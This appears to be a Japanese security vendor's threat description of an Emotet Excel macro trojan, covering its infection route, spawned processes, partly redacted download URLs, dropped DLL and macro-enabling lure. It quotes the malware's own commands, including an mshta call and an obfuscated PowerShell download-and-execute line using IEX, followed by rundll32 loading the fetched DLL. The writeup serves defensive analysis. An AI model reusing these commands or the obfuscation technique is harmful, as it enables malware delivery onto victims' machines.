Trojan.XF.EMOTET.BD

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• cmd /c mshta http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.html
• "%System%\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
• "%System%\cmd.exe" /c %Windows%\SysWow64\rundll32.exe C:\ProgramData\QWER.dll , AADD

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}n.com/wp-content/XSs5/
• http://{BLOCKED}ylubin.igclout.com/wp-admin/vzOG/
• http://{BLOCKED}ravel.com/cgi-bin/2TjUH/
• http://{BLOCKED}nstruction.com/wp-admin/JJEf0kEA5/
• http://{BLOCKED}bradley.com/css/YcDc927SJR/
• https://{BLOCKED}r.com/wp-includes/ghFXVrGLEh/
• https://{BLOCKED}tudio.com/wp-admin/c3zgRi2wXwCbdSD3iz/
• https://{BLOCKED}artinsanchez.com/wp-admin/QpFDJPMY49/
• https://{BLOCKED}yecentre.org/cgi-bin/l42slgmf8nBpUYsb/
• https://{BLOCKED}-milano.com/wp-content/FEj3y4z/
• https://{BLOCKED}ortchannel.com/wp-includes/KaWZp0odkEO/
• https://{BLOCKED}gypt.com/wp-includes/W7qXVeGp/
• http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.png

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• C:\ProgramData\QWER.dll

その他

マルウェアは、以下を実行します。

• 文書には、マクロコンテンツを有効にするようユーザを誘導する以下のようなメッセージが含まれています。
  
• mshta.exeを介して以下のURLを開きます。
  • http://{BLOCKED}.{BLOCKED}.118.168/qqw/aas/se.html